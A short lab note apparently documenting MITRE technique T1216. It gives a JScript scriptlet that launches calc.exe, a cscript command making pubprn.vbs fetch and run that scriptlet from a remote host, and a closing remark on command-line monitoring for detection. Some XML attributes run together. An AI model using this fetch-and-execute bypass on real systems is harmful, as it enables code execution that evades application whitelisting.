T1216: pubprn.vbs Signed Script Code Execution
Signed Script Proxy Execution - bypass application whitelisting using pubprn.vbs
Using pubprn.vbs, we will execute code to launch calc.exe. First of, the xml that will be executed by the script:
http://192.168.2.71/tools/mitre/proxy-script/proxy.sct<?XML version="1.0"?><scriptlet>​<registrationdescription="Bandit"progid="Bandit"version="1.00"classid="{AAAA1111-0000-0000-0000-0000FEEDACDC}"></registration>​<script language="JScript"><![CDATA[var r = new ActiveXObject("WScript.Shell").Run("calc.exe");]]></script>​</scriptlet>
attacker@victimcscript /b C:\Windows\System32\Printing_Admin_Scripts\en-US\pubprn.vbs 127.0.0.1 script:http://192.168.2.71/tools/mitre/proxy-script/proxy.sct
Calc.exe gets spawned by cscript.exe which immediately closes leaving the calc.exe process orphan:
Monitoring commandlines can be useful in detecting the script being abused:
